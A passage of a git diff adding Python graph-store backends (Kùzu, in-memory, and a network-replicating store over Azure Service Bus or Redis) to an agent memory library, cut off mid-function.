------------------------------------------------------------------ + # Helpers + # ------------------------------------------------------------------ + + def _execute(self, query: str, params: dict[str, Any] | None = None) -> Any: + with self._lock: + if params: + return self._conn.execute(query, parameters=params) + return self._conn.execute(query) + + def _result_to_dicts(self, result: Any) -> list[dict[str, Any]]: + """Convert a Kùzu query result to a list of dicts.""" + rows = [] + if result is None: + return rows + col_names = result.get_column_names() + while result.has_next(): + row = result.get_next() + row_dict: dict[str, Any] = {} + for i, col in enumerate(col_names): + val = row[i] + # Kùzu returns node objects for node columns — flatten to dict + if hasattr(val, "_node"): + # older kuzu API + inner = val._node + if isinstance(inner, dict): + row_dict.update(inner) + else: + row_dict[col] = val + elif hasattr(val, "get_properties"): + row_dict.update(val.get_properties()) + elif isinstance(val, dict): + row_dict.update(val) + else: + row_dict[col] = val + rows.append(row_dict) + return rows + + def _build_where(self, filters: dict[str, Any]) -> tuple[str, dict[str, Any]]: + """Build a WHERE clause from a filters dict.""" + clauses = [] + params: dict[str, Any] = {} + for i, (k, v) in enumerate(filters.items()): + param_name = f"filter_{i}" + clauses.append(f"n.{k} = ${param_name}") + params[param_name] = v + where = " AND ".join(clauses) + return where, params + + # ------------------------------------------------------------------ + # Schema + # ------------------------------------------------------------------ + + def ensure_table(self, table: str, schema: dict[str, str]) -> None: + if table in self._known_tables: + return + _validate_identifier(table) + # Build column definitions + cols = ", ".join(f"{col} {dtype}" for col, dtype in schema.items()) + # node_id is always the primary key + if "node_id" in schema: + query = f"CREATE NODE TABLE IF NOT EXISTS {table} ({cols}, PRIMARY KEY (node_id))" + else: + query = f"CREATE NODE TABLE IF NOT EXISTS {table} ({cols})" + self._execute(query) + self._known_tables.add(table) + self._schemas[table] = dict(schema) + + def ensure_rel_table( + self, + rel_type: str, + from_table: str, + to_table: str, + schema: dict[str, str] | None = None, + ) -> None: + if rel_type in self._known_rel_tables: + return + _validate_identifier(rel_type) + _validate_identifier(from_table) + _validate_identifier(to_table) + if schema: + cols = ", ".join(f"{col} {dtype}" for col, dtype in schema.items()) + query = ( + f"CREATE REL TABLE IF NOT EXISTS {rel_type} " + f"(FROM {from_table} TO {to_table}, {cols})" + ) + else: + query = ( + f"CREATE REL TABLE IF NOT EXISTS {rel_type} " + f"(FROM {from_table} TO {to_table})" + ) + self._execute(query) + self._known_rel_tables.add(rel_type) + self._rel_table_map[rel_type] = (from_table, to_table) + + # ------------------------------------------------------------------ + # Node operations + # ------------------------------------------------------------------ + + def create_node(self, table: str, properties: dict[str, Any]) -> str: + _validate_identifier(table) + node_id = properties.get("node_id") or str(uuid.uuid4()) + props = dict(properties) + props["node_id"] = node_id + + schema = self._schemas.get(table, {}) + coerced = {k: _coerce(v, schema.get(k, "STRING")) for k, v in props.items()} + + prop_str = ", ".join(f"{k}: ${k}" for k in coerced.keys()) + query = f"CREATE (:{table} {{{prop_str}}})" + self._execute(query, coerced) + return node_id + + def get_node(self, table: str, node_id: str) -> dict[str, Any] | None: + _validate_identifier(table) + query = f"MATCH (n:{table}) WHERE n.node_id = $node_id RETURN n" + result = self._execute(query, {"node_id": node_id}) + rows = self._result_to_dicts(result) + return rows[0] if rows else None + + def update_node(self, table: str, node_id: str, properties: dict[str, Any]) -> None: + _validate_identifier(table) + schema = self._schemas.get(table, {}) + set_clauses = [] + params: dict[str, Any] = {"node_id": node_id} + for i, (k, v) in enumerate(properties.items()): + pname = f"upd_{i}" + set_clauses.append(f"n.{k} = ${pname}") + params[pname] = _coerce(v, schema.get(k, "STRING")) + if not set_clauses: + return + set_str = ", ".join(set_clauses) + query = f"MATCH (n:{table}) WHERE n.node_id = $node_id SET {set_str}" + self._execute(query, params) + + def delete_node(self, table: str, node_id: str) -> None: + _validate_identifier(table) + query = f"MATCH (n:{table}) WHERE n.node_id = $node_id DETACH DELETE n" + self._execute(query, {"node_id": node_id}) + + def query_nodes( + self, + table: str, + filters: dict[str, Any] | None = None, + limit: int = 100, + ) -> list[dict[str, Any]]: + _validate_identifier(table) + if filters: + where, params = self._build_where(filters) + query = f"MATCH (n:{table}) WHERE {where} RETURN n LIMIT {limit}" + else: + query = f"MATCH (n:{table}) RETURN n LIMIT {limit}" + params = {} + result = self._execute(query, params or None) + return self._result_to_dicts(result) + + def search_nodes( + self, + table: str, + text: str, + fields: list[str] | None = None, + limit: int = 20, + ) -> list[dict[str, Any]]: + _validate_identifier(table) + schema = self._schemas.get(table, {}) + search_fields = fields or [ + col for col, dtype in schema.items() + if dtype.upper() in ("STRING", "VARCHAR") + ] + if not search_fields: + # No schema info — fall back to node_id search + search_fields = ["node_id"] + + # Tokenise the query into up to 6 meaningful keywords (len >= 3) so + # that full natural-language questions still find relevant nodes even + # when no node contains the entire question as a literal substring. + # This mirrors SemanticMemory.search_facts keyword tokenisation. + _STOP = frozenset( + {"what", "was", "the", "did", "how", "who", "why", "are", "is", + "it", "in", "on", "at", "of", "to", "and", "or", "not", "for", + "with", "from", "that", "this", "a", "an", "by", "be", "has", + "had", "have", "does", "were", "been", "being", "do", "its"} + ) + tokens = [ + w.strip("?.,!;:'\"").lower() + for w in text.split() + if len(w.strip("?.,!;:'\"")) >= 3 + and w.strip("?.,!;:'\"").lower() not in _STOP + ][:6] + + if tokens: + params: dict[str, Any] = {"lim": limit} + kw_clauses: list[str] = [] + for i, tok in enumerate(tokens): + pname = f"kw{i}" + params[pname] = tok + field_clauses = [f"lower(n.{f}) CONTAINS lower(${pname})" for f in search_fields] + kw_clauses.append("(" + " OR ".join(field_clauses) + ")") + where = " OR ".join(kw_clauses) + query = f"MATCH (n:{table}) WHERE {where} RETURN n LIMIT $lim" + result = self._execute(query, params) + else: + # Fallback to exact substring match when no usable tokens + result = self._execute( + f"MATCH (n:{table}) WHERE " + + " OR ".join(f"CONTAINS(n.{f}, $text)" for f in search_fields) + + " RETURN n LIMIT $lim", + {"text": text, "lim": limit}, + ) + return self._result_to_dicts(result) + + # ------------------------------------------------------------------ + # Edge operations + # ------------------------------------------------------------------ + + def create_edge( + self, + rel_type: str, + from_table: str, + from_id: str, + to_table: str, + to_id: str, + properties: dict[str, Any] | None = None, + ) -> None: + _validate_identifier(rel_type) + _validate_identifier(from_table) + _validate_identifier(to_table) + params: dict[str, Any] = {"from_id": from_id, "to_id": to_id} + if properties: + prop_str = ", ".join(f"{k}: ${k}" for k in properties.keys()) + params.update(properties) + query = ( + f"MATCH (a:{from_table}), (b:{to_table}) " + f"WHERE a.node_id = $from_id AND b.node_id = $to_id " + f"CREATE (a)-[:{rel_type} {{{prop_str}}}]->(b)" + ) + else: + query = ( + f"MATCH (a:{from_table}), (b:{to_table}) " + f"WHERE a.node_id = $from_id AND b.node_id = $to_id " + f"CREATE (a)-[:{rel_type}]->(b)" + ) + self._execute(query, params) + + def get_edges( + self, + node_id: str, + rel_type: str | None = None, + direction: str = "out", + ) -> list[dict[str, Any]]: + if rel_type is not None: + _validate_identifier(rel_type) + rel_pattern = f"[r:{rel_type}]" if rel_type else "[r]" + if direction == "out": + query = ( + f"MATCH (n)-{rel_pattern}->(m) " + f"WHERE n.node_id = $node_id " + f"RETURN r, n.node_id AS from_id, m.node_id AS to_id" + ) + elif direction == "in": + query = ( + f"MATCH (m)-{rel_pattern}->(n) " + f"WHERE n.node_id = $node_id " + f"RETURN r, m.node_id AS from_id, n.node_id AS to_id" + ) + else: + query = ( + f"MATCH (n)-{rel_pattern}-(m) " + f"WHERE n.node_id = $node_id " + f"RETURN r, n.node_id AS from_id, m.node_id AS to_id" + ) + result = self._execute(query, {"node_id": node_id}) + rows = [] + if result: + col_names = result.get_column_names() + while result.has_next(): + row = result.get_next() + row_dict: dict[str, Any] = {} + for i, col in enumerate(col_names): + val = row[i] + if col == "r": + if hasattr(val, "get_properties"): + row_dict.update(val.get_properties()) + elif isinstance(val, dict): + row_dict.update(val) + else: + row_dict[col] = val + # Store the rel_type from the query pattern + if rel_type is not None: + row_dict["rel_type"] = rel_type + rows.append(row_dict) + return rows + + def delete_edge(self, rel_type: str, from_id: str, to_id: str) -> None: + _validate_identifier(rel_type) + query = ( + f"MATCH (a)-[r:{rel_type}]->(b) " + f"WHERE a.node_id = $from_id AND b.node_id = $to_id " + f"DELETE r" + ) + self._execute(query, {"from_id": from_id, "to_id": to_id}) + + # ------------------------------------------------------------------ + # Export / import helpers (for gossip and shard rebuild) + # ------------------------------------------------------------------ + + def get_all_node_ids(self, table: str | None = None) -> set[str]: + """Get all node IDs, optionally filtered by table.""" + node_ids: set[str] = set() + tables = [table] if table else list(self._known_tables) + for tbl in tables: + if tbl not in self._known_tables: + continue + _validate_identifier(tbl) + query = f"MATCH (n:{tbl}) RETURN n.node_id" + result = self._execute(query) + if result: + while result.has_next(): + row = result.get_next() + if row and row[0] is not None: + node_ids.add(str(row[0])) + return node_ids + + def export_nodes(self, node_ids: list[str] | None = None) -> list[tuple[str, str, dict]]: + """Export nodes as (table, node_id, properties) tuples.""" + result = [] + id_set = set(node_ids) if node_ids is not None else None + for tbl in list(self._known_tables): + _validate_identifier(tbl) + nodes = self.query_nodes(tbl, limit=100_000) + for node in nodes: + nid = node.get("node_id", "") + if id_set is None or nid in id_set: + result.append((tbl, nid, dict(node))) + return result + + def export_edges(self, node_ids: list[str] | None = None) -> list[tuple[str, str, str, str, str, dict]]: + """Export edges as (rel_type, from_table, from_id, to_table, to_id, properties) tuples.""" + result = [] + id_set = set(node_ids) if node_ids is not None else None + for rel_type in list(self._known_rel_tables): + _validate_identifier(rel_type) + from_table, to_table = self._rel_table_map.get(rel_type, ("", "")) + query = f"MATCH (a)-[r:{rel_type}]->(b) RETURN a.node_id, b.node_id" + res = self._execute(query) + if res: + while res.has_next(): + row = res.get_next() + from_id, to_id = str(row[0]), str(row[1]) + if id_set is None or from_id in id_set or to_id in id_set: + result.append((rel_type, from_table, from_id, to_table, to_id, {})) + return result + + def import_nodes(self, nodes: list[tuple[str, str, dict]]) -> int: + """Import nodes. Returns count of new nodes stored (skips duplicates).""" + count = 0 + for table, node_id, props in nodes: + if table not in self._known_tables: + continue + if self.get_node(table, node_id) is None: + self.create_node(table, dict(props)) + count += 1 + return count + + def import_edges(self, edges: list[tuple[str, str, str, str, str, dict]]) -> int: + """Import edges. Returns count stored.""" + count = 0 + for rel_type, from_table, from_id, to_table, to_id, props in edges: + if rel_type not in self._known_rel_tables: + continue + _validate_identifier(rel_type) + if not from_table: + from_table, to_table = self._rel_table_map.get(rel_type, ("", "")) + if not from_table: + continue + check_q = ( + f"MATCH (a:{from_table})-[r:{rel_type}]->(b:{to_table}) " + f"WHERE a.node_id = $fid AND b.node_id = $tid RETURN r LIMIT 1" + ) + res = self._execute(check_q, {"fid": from_id, "tid": to_id}) + if not self._result_to_dicts(res): + self.create_edge(rel_type, from_table, from_id, to_table, to_id, props or None) + count += 1 + return count + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + def close(self) -> None: + try: + self._conn.close() + except Exception: + pass + + +__all__ = ["KuzuGraphStore"] diff --git a/src/amplihack/memory/memory_store.py b/src/amplihack/memory/memory_store.py new file mode 100644 index 000000000..e216ae48d --- /dev/null +++ b/src/amplihack/memory/memory_store.py @@ -0,0 +1,282 @@ +"""InMemoryGraphStore — dict-based GraphStore implementation. + +Stores nodes as dict[table][node_id] = properties. +Stores edges as a flat list of dicts. +search_nodes does keyword matching across specified (or all string) fields. + +Used as the default shard backend for DistributedGraphStore and for +topology=single + backend=simple scenarios. +""" + +from __future__ import annotations + +import threading +import uuid +from typing import Any + + +class InMemoryGraphStore: + """In-memory implementation of the GraphStore protocol. + + Thread-safe via a single RLock. + """ + + def __init__(self) -> None: + self._lock = threading.RLock() + # table -> {node_id -> properties_dict} + self._nodes: dict[str, dict[str, dict[str, Any]]] = {} + # list of edge dicts: {rel_type, from_table, from_id, to_table, to_id, **props} + self._edges: list[dict[str, Any]] = [] + # table -> schema (for ensure_table idempotency) + self._tables: dict[str, dict[str, str]] = {} + # rel_type -> (from_table, to_table, schema) + self._rel_tables: dict[str, tuple[str, str, dict[str, str]]] = {} + + # ------------------------------------------------------------------ + # Node operations + # ------------------------------------------------------------------ + + def create_node(self, table: str, properties: dict[str, Any]) -> str: + node_id = properties.get("node_id") or str(uuid.uuid4()) + props = dict(properties) + props["node_id"] = node_id + with self._lock: + if table not in self._nodes: + self._nodes[table] = {} + self._nodes[table][node_id] = props + return node_id + + def get_node(self, table: str, node_id: str) -> dict[str, Any] | None: + with self._lock: + table_data = self._nodes.get(table, {}) + node = table_data.get(node_id) + return dict(node) if node is not None else None + + def update_node(self, table: str, node_id: str, properties: dict[str, Any]) -> None: + with self._lock: + table_data = self._nodes.get(table, {}) + if node_id in table_data: + table_data[node_id].update(properties) + + def delete_node(self, table: str, node_id: str) -> None: + with self._lock: + table_data = self._nodes.get(table, {}) + table_data.pop(node_id, None) + # Also remove edges involving this node + self._edges = [ + e for e in self._edges + if e["from_id"] != node_id and e["to_id"] != node_id + ] + + def query_nodes( + self, + table: str, + filters: dict[str, Any] | None = None, + limit: int = 100, + ) -> list[dict[str, Any]]: + with self._lock: + table_data = self._nodes.get(table, {}) + results = [] + for node in table_data.values(): + if filters: + if all(node.get(k) == v for k, v in filters.items()): + results.append(dict(node)) + else: + results.append(dict(node)) + if len(results) >= limit: + break + return results + + def search_nodes( + self, + table: str, + text: str, + fields: list[str] | None = None, + limit: int = 20, + ) -> list[dict[str, Any]]: + text_lower = text.lower() + results: list[dict[str, Any]] = [] + with self._lock: + table_data = self._nodes.get(table, {}) + for node in table_data.values(): + search_fields = fields if fields else [ + k for k, v in node.items() if isinstance(v, str) + ] + for field in search_fields: + val = node.get(field) + if isinstance(val, str) and text_lower in val.lower(): + results.append(dict(node)) + break + if len(results) >= limit: + break + return results + + # ------------------------------------------------------------------ + # Edge operations + # ------------------------------------------------------------------ + + def create_edge( + self, + rel_type: str, + from_table: str, + from_id: str, + to_table: str, + to_id: str, + properties: dict[str, Any] | None = None, + ) -> None: + edge: dict[str, Any] = { + "rel_type": rel_type, + "from_table": from_table, + "from_id": from_id, + "to_table": to_table, + "to_id": to_id, + } + if properties: + edge.update(properties) + with self._lock: + self._edges.append(edge) + + def get_edges( + self, + node_id: str, + rel_type: str | None = None, + direction: str = "out", + ) -> list[dict[str, Any]]: + results = [] + with self._lock: + for edge in self._edges: + if rel_type is not None and edge["rel_type"] != rel_type: + continue + if direction == "out" and edge["from_id"] == node_id: + results.append(dict(edge)) + elif direction == "in" and edge["to_id"] == node_id: + results.append(dict(edge)) + elif direction == "both" and ( + edge["from_id"] == node_id or edge["to_id"] == node_id + ): + results.append(dict(edge)) + return results + + def delete_edge(self, rel_type: str, from_id: str, to_id: str) -> None: + with self._lock: + self._edges = [ + e for e in self._edges + if not ( + e["rel_type"] == rel_type + and e["from_id"] == from_id + and e["to_id"] == to_id + ) + ] + + # ------------------------------------------------------------------ + # Schema operations (idempotent) + # ------------------------------------------------------------------ + + def ensure_table(self, table: str, schema: dict[str, str]) -> None: + with self._lock: + if table not in self._tables: + self._tables[table] = schema + self._nodes.setdefault(table, {}) + + def ensure_rel_table( + self, + rel_type: str, + from_table: str, + to_table: str, + schema: dict[str, str] | None = None, + ) -> None: + with self._lock: + if rel_type not in self._rel_tables: + self._rel_tables[rel_type] = (from_table, to_table, schema or {}) + + def close(self) -> None: + pass + + # ------------------------------------------------------------------ + # Export / import helpers (for gossip and shard rebuild) + # ------------------------------------------------------------------ + + def get_all_node_ids(self, table: str | None = None) -> set[str]: + """Get all node IDs, optionally filtered by table.""" + with self._lock: + if table: + return set(self._nodes.get(table, {}).keys()) + return {nid for tbl in self._nodes.values() for nid in tbl} + + def export_nodes(self, node_ids: list[str] | None = None) -> list[tuple[str, str, dict]]: + """Export nodes as (table, node_id, properties) tuples.""" + result = [] + with self._lock: + for table, nodes in self._nodes.items(): + for nid, props in nodes.items(): + if node_ids is None or nid in set(node_ids): + result.append((table, nid, dict(props))) + return result + + def export_edges(self, node_ids: list[str] | None = None) -> list[tuple[str, str, str, str, str, dict]]: + """Export edges as (rel_type, from_table, from_id, to_table, to_id, properties) tuples.""" + result = [] + with self._lock: + id_set = set(node_ids) if node_ids else None + for edge in self._edges: + if id_set is None or edge["from_id"] in id_set or edge["to_id"] in id_set: + structural = {"rel_type", "from_table", "from_id", "to_table", "to_id"} + props = {k: v for k, v in edge.items() if k not in structural} + result.append(( + edge["rel_type"], + edge.get("from_table", ""), + edge["from_id"], + edge.get("to_table", ""), + edge["to_id"], + props, + )) + return result + + def import_nodes(self, nodes: list[tuple[str, str, dict]]) -> int: + """Import nodes. Returns count of new nodes stored (skips duplicates).""" + count = 0 + with self._lock: + for table, node_id, props in nodes: + if table not in self._nodes: + self._nodes[table] = {} + if node_id not in self._nodes[table]: + self._nodes[table][node_id] = dict(props) + count += 1 + return count + + def import_edges(self, edges: list[tuple[str, str, str, str, str, dict]]) -> int: + """Import edges. Returns count stored.""" + count = 0 + with self._lock: + existing = {(e["rel_type"], e["from_id"], e["to_id"]) for e in self._edges} + for rel_type, from_table, from_id, to_table, to_id, props in edges: + if (rel_type, from_id, to_id) not in existing: + edge: dict[str, Any] = { + "rel_type": rel_type, + "from_id": from_id, + "from_table": from_table, + "to_id": to_id, + "to_table": to_table, + } + if props: + edge.update(props) + self._edges.append(edge) + existing.add((rel_type, from_id, to_id)) + count += 1 + return count + + # ------------------------------------------------------------------ + # Introspection helpers (for testing / distributed shard access) + # ------------------------------------------------------------------ + + def get_all_nodes(self, table: str) -> list[dict[str, Any]]: + with self._lock: + return [dict(n) for n in self._nodes.get(table, {}).values()] + + @property + def table_names(self) -> list[str]: + with self._lock: + return list(self._nodes.keys()) + + +__all__ = ["InMemoryGraphStore"] diff --git a/src/amplihack/memory/network_store.py b/src/amplihack/memory/network_store.py new file mode 100644 index 000000000..acc8f0510 --- /dev/null +++ b/src/amplihack/memory/network_store.py @@ -0,0 +1,807 @@ +"""NetworkGraphStore — GraphStore that replicates over a network transport. + +Wraps a local GraphStore and replicates writes and search queries over +Azure Service Bus or Redis using the existing event_bus.py transports. + +Architecture: + - create_node: stores locally AND publishes a CREATE_NODE event + - search_nodes: searches locally AND publishes a SEARCH_QUERY event, + collects responses (with timeout), merges and deduplicates + - _process_incoming: background thread that applies remote writes and + responds to search queries from other agents + +Usage: + from amplihack.memory.network_store import NetworkGraphStore + from amplihack.memory.memory_store import InMemoryGraphStore + + store = NetworkGraphStore( + agent_id="agent_0", + local_store=InMemoryGraphStore(), + transport="azure_service_bus", + connection_string="Endpoint=sb://...", + ) + node_id = store.create_node("semantic_memory", {"concept": "sky", "content": "blue"}) + results = store.search_nodes("semantic_memory", "sky", limit=5) + store.close() +""" + +from __future__ import annotations + +import json +import logging +import threading +import time +import uuid +from typing import Any, Callable + +from .graph_store import GraphStore + +logger = logging.getLogger(__name__) + +# How long (seconds) to wait for remote search responses +_SEARCH_TIMEOUT = 3.0 +# How often (seconds) the background thread polls for incoming events +_POLL_INTERVAL = 0.5 + +# Event types used on the bus +_OP_CREATE_NODE = "network_graph.create_node" +_OP_CREATE_EDGE = "network_graph.create_edge" +_OP_SEARCH_QUERY = "network_graph.search_query" +_OP_SEARCH_RESPONSE = "network_graph.search_response" +_OP_QUERY = "QUERY" +_OP_QUERY_RESPONSE = "QUERY_RESPONSE" + +# Tables searched when handling a QUERY event +_QUERY_SEARCH_TABLES = ["semantic_memory", "hive_facts", "episodic_memory", "general"] + + +class AgentRegistry: + """Thread-safe registry of known agents for service discovery. + + NetworkGraphStore instances can share a registry to discover peers + without relying on the transport layer alone. + """ + + def __init__(self) -> None: + self._agents: dict[str, dict[str, Any]] = {} + self._lock = threading.Lock() + + def register(self, agent_id: str, metadata: dict[str, Any] | None = None) -> None: + """Register an agent with optional metadata.""" + with self._lock: + self._agents[agent_id] = metadata or {} + + def unregister(self, agent_id: str) -> None: + """Remove an agent from the registry.""" + with self._lock: + self._agents.pop(agent_id, None) + + def list_agents(self) -> list[str]: + """Return a list of all registered agent IDs.""" + with self._lock: + return list(self._agents.keys()) + + def get(self, agent_id: str) -> dict[str, Any] | None: + """Return metadata for a registered agent, or None if not found.""" + with self._lock: + return self._agents.get(agent_id) + + +class NetworkGraphStore: + """GraphStore that wraps a local store and replicates over a network transport. + + Args: + agent_id: Unique identifier for this agent on the bus. + local_store: The backing local GraphStore (InMemoryGraphStore or KuzuGraphStore). + transport: "local" | "redis" | "azure_service_bus" + connection_string: Connection string for Azure Service Bus or Redis URL. + topic_name: Service Bus topic name (default: "hive-graph"). + search_timeout: Seconds to wait for remote search responses. + agent_registry: Optional shared AgentRegistry for peer discovery. + """ + + def __init__( + self, + agent_id: str, + local_store: GraphStore, + transport: str = "local", + connection_string: str = "", + topic_name: str = "hive-graph", + search_timeout: float = _SEARCH_TIMEOUT, + agent_registry: AgentRegistry | None = None, + recall_fn: Callable[[str, int], list[dict[str, Any]]] | None = None, + ) -> None: + self._agent_id = agent_id + self._local = local_store + self._transport = transport + self._search_timeout = search_timeout + self._agent_registry = agent_registry + # Optional recall function that queries the cognitive adapter's Kuzu DB. + # Set via NetworkGraphStore.recall_fn = adapter.search after construction + # so that search_query events route through the populated memory store. + self._recall_fn: Callable[[str, int], list[dict[str, Any]]] | None = recall_fn + if agent_registry is not None: + agent_registry.register(agent_id) + + # Pending search queries: query_id -> threading.Event + results list + self._pending_searches: dict[str, dict[str, Any]] = {} + self._pending_lock = threading.Lock() + + # Buffered LEARN_CONTENT events waiting to be drained via receive_events() + self._learn_events: list[Any] = [] + self._learn_lock = threading.Lock() + + # Buffered QUERY events waiting to be drained via receive_query_events() + self._query_events: list[Any] = [] + self._query_lock = threading.Lock() + + # Build the event bus + self._bus = self._create_bus(transport, connection_string, topic_name) + self._bus.subscribe(agent_id) + + # Start background thread + self._running = True + self._thread = threading.Thread( + target=self._process_incoming, + daemon=True, + name=f"network-graph-{agent_id}", + ) + self._thread.start() + + # ------------------------------------------------------------------ + # recall_fn property — wires cognitive memory into search_query handler + # ------------------------------------------------------------------ + + @property + def recall_fn(self) -> Callable[[str, int], list[dict[str, Any]]] | None: + """Callable that queries the CognitiveAdapter's Kuzu store. + + When set, _handle_query_event() calls this in addition to (or instead + of) searching the local graph store, so that LEARN_CONTENT facts stored + in the cognitive memory are surfaced in response to search_query events. + + Signature: fn(query: str, limit: int) -> list[dict[str, Any]] + """ + return self._recall_fn + + @recall_fn.setter + def recall_fn(self, fn: Callable[[str, int], list[dict[str, Any]]] | None) -> None: + self._recall_fn = fn + + # ------------------------------------------------------------------ + # Bus factory + # ------------------------------------------------------------------ + + def _create_bus(self, transport: str, connection_string: str, topic_name: str) -> Any: + """Create an event bus based on transport type.""" + from amplihack.agents.goal_seeking.hive_mind.event_bus import create_event_bus + + if transport == "local": + return create_event_bus("local") + if transport == "azure_service_bus": + return create_event_bus( + "azure", + connection_string=connection_string, + topic_name=topic_name, + ) + if transport == "redis": + return create_event_bus( + "redis", + redis_url=connection_string or "redis://localhost:6379", + channel=topic_name, + ) + raise ValueError( + f"Unknown transport: {transport!r}. Valid: 'local', 'azure_service_bus', 'redis'" + ) + + # ------------------------------------------------------------------ + # GraphStore protocol implementation + # ------------------------------------------------------------------ + + def create_node(self, table: str, properties: dict[str, Any]) -> str: + """Create node locally and publish to remote agents. + + Args: + table: Node table name. + properties: Node properties dict. + + Returns: + Generated node_id string. + """ + node_id = self._local.create_node(table, properties) + props_with_id = dict(properties) + props_with_id["node_id"] = node_id + self._publish( + _OP_CREATE_NODE, + { + "table": table, + "node_id": node_id, + "properties": props_with_id, + }, + ) + return node_id + + def get_node(self, table: str, node_id: str) -> dict[str, Any] | None: + """Retrieve a node from local store.""" + return self._local.get_node(table, node_id) + + def update_node(self, table: str, node_id: str, properties: dict[str, Any]) -> None: + """Update node locally (no replication — use create for new facts).""" + self._local.update_node(table, node_id, properties) + + def delete_node(self, table: str, node_id: str) -> None: + """Delete node locally (no replication).""" + self._local.delete_node(table, node_id) + + def query_nodes( + self, + table: str, + filters: dict[str, Any] | None = None, + limit: int = 100, + ) -> list[dict[str, Any]]: + """Query nodes from local store only.""" + return self._local.query_nodes(table, filters, limit) + + def search_nodes( + self, + table: str, + text: str, + fields: list[str] | None = None, + limit: int = 20, + ) -> list[dict[str, Any]]: + """Search locally and collect remote responses. + + 1. Search local store. + 2. Publish SEARCH_QUERY to the bus. + 3. Wait up to search_timeout seconds for remote responses. + 4. Merge and deduplicate all results. + + Args: + table: Node table to search. + text: Search query text. + fields: Fields to search (None = all string fields). + limit: Max results per source before merge. + + Returns: + Deduplicated merged results list. + """ + local_results = self._local.search_nodes(table, text, fields, limit) + + if self._transport == "local": + # Local bus — only one agent, no point in network search + return local_results + + query_id = uuid.uuid4().hex + event = threading.Event() + remote_results: list[dict[str, Any]] = [] + + with self._pending_lock: + self._pending_searches[query_id] = { + "event": event, + "results": remote_results, + } + + try: + self._publish( + _OP_SEARCH_QUERY, + { + "query_id": query_id, + "table": table, + "text": text, + "fields": fields, + "limit": limit, + }, + ) + # Wait for at least one response or timeout + event.wait(timeout=self._search_timeout) + finally: + with self._pending_lock: + self._pending_searches.pop(query_id, None) + + return self._merge_results(local_results, remote_results, limit) + + def create_edge( + self, + rel_type: str, + from_table: str, + from_id: str, + to_table: str, + to_id: str, + properties: dict[str, Any] | None = None, + ) -> None: + """Create edge locally and publish to remote agents.""" + self._local.create_edge(rel_type, from_table, from_id, to_table, to_id, properties) + self._publish( + _OP_CREATE_EDGE, + { + "rel_type": rel_type, + "from_table": from_table, + "from_id": from_id, + "to_table": to_table, + "to_id": to_id, + "properties": properties or {}, + }, + ) + + def get_edges( + self, + node_id: str, + rel_type: str | None = None, + direction: str = "out", + ) -> list[dict[str, Any]]: + """Get edges from local store.""" + return self._local.get_edges(node_id, rel_type, direction) + + def delete_edge(self, rel_type: str, from_id: str, to_id: str) -> None: + """Delete edge from local store.""" + self._local.delete_edge(rel_type, from_id, to_id) + + def ensure_table(self, table: str, schema: dict[str, str]) -> None: + """Ensure table exists in local store.""" + self._local.ensure_table(table, schema) + + def ensure_rel_table( + self, + rel_type: str, + from_table: str, + to_table: str, + schema: dict[str, str] | None = None, + ) -> None: + """Ensure relationship table exists in local store.""" + self._local.ensure_rel_table(rel_type, from_table, to_table, schema) + + def get_all_node_ids(self, table: str | None = None) -> set[str]: + """Get all node IDs from local store.""" + return self._local.get_all_node_ids(table) + + def export_nodes(self, node_ids: list[str] | None = None) -> list[tuple[str, str, dict]]: + """Export nodes from local store.""" + return self._local.export_nodes(node_ids) + + def export_edges(self, node_ids: list[str] | None = None) -> list[tuple[str, str, str, dict]]: + """Export edges from local store.""" + return self._local.export_edges(node_ids) + + def import_nodes(self, nodes: list[tuple[str, str, dict]]) -> int: + """Import nodes into local store.""" + return self._local.import_nodes(nodes) + + def import_edges(self, edges: list[tuple[str, str, str, dict]]) -> int: + """Import edges into local store.""" + return self._local.import_edges(edges) + + def close(self) -> None: + """Stop background thread and close bus + local store.""" + self._running = False + if self._agent_registry is not None: + self._agent_registry.unregister(self._agent_id) + try: + self._bus.unsubscribe(self._agent_id) + except Exception: + logger.debug("Error unsubscribing from bus", exc_info=True) + try: + self._bus.close() + except Exception: + logger.debug("Error closing bus", exc_info=True) + try: + self._local.close() + except Exception: + logger.debug("Error closing local store", exc_info=True) + if self._thread.is_alive(): + self._thread.join(timeout=3.0) + + # ------------------------------------------------------------------ + # Background thread + # ------------------------------------------------------------------ + + def _process_incoming(self) -> None: + """Background thread: poll bus and handle incoming events. + + - CREATE_NODE: apply write to local store + - CREATE_EDGE: apply edge to local store + - SEARCH_QUERY: run local+cognitive search, publish SEARCH_RESPONSE, buffer for OODA + - SEARCH_RESPONSE: wake up any waiting search_nodes() call + - LEARN_CONTENT: buffer for OODA loop + - QUERY: buffer for OODA loop + auto-respond via recall_fn + """ + while self._running: + try: + events = self._bus.poll(self._agent_id) + if events: + logger.debug( + "[%s] _process_incoming: polled %d event(s): %s", + self._agent_id, + len(events), + [e.event_type for e in events], + ) + for event in events: + logger.info( + "[%s] incoming event type=%r source=%r", + self._agent_id, + event.event_type, + event.source_agent, + ) + try: + self._handle_event(event) + except Exception: + logger.warning( + "[%s] Error handling event type=%r from=%r", + self._agent_id, + event.event_type, + event.source_agent, + exc_info=True, + ) + except Exception: + logger.debug("Error polling bus", exc_info=True) + time.sleep(_POLL_INTERVAL) + + def _handle_event(self, event: Any) -> None: + """Dispatch a single incoming bus event.""" + op = event.event_type + payload = event.payload + + if op == _OP_CREATE_NODE: + table = payload.get("table", "") + props = payload.get("properties", {}) + if table and props: + # Auto-create the table if it doesn't exist yet, inferring schema + # from property keys so that create_node doesn't fail with + # "Table X does not exist" on first use. + try: + schema = {k: "STRING" for k in props if k != "node_id"} + schema["node_id"] = "STRING" + self._local.ensure_table(table, schema) + except Exception: + logger.debug( + "[%s] ensure_table failed for table=%s (may already exist)", + self._agent_id, table, exc_info=True, + ) + # Only apply if we don't already have this node + node_id = props.get("node_id") + if node_id and self._local.get_node(table, node_id) is None: + self._local.create_node(table, props) + logger.debug( + "Applied remote create_node: table=%s node_id=%s from=%s", + table, + node_id, + event.source_agent, + ) + + elif op == _OP_CREATE_EDGE: + self._local.create_edge( + rel_type=payload.get("rel_type", ""), + from_table=payload.get("from_table", ""), + from_id=payload.get("from_id", ""), + to_table=payload.get("to_table", ""), + to_id=payload.get("to_id", ""), + properties=payload.get("properties") or None, + ) + logger.debug("Applied remote create_edge from=%s", event.source_agent) + + elif op == _OP_SEARCH_QUERY: + query_id = payload.get("query_id", "") + table = payload.get("table", "") + text = payload.get("text", "") + fields = payload.get("fields") + limit = payload.get("limit", 20) + if not query_id or not table: + logger.warning( + "[%s] search_query missing query_id or table, dropping (query_id=%r table=%r)", + self._agent_id, 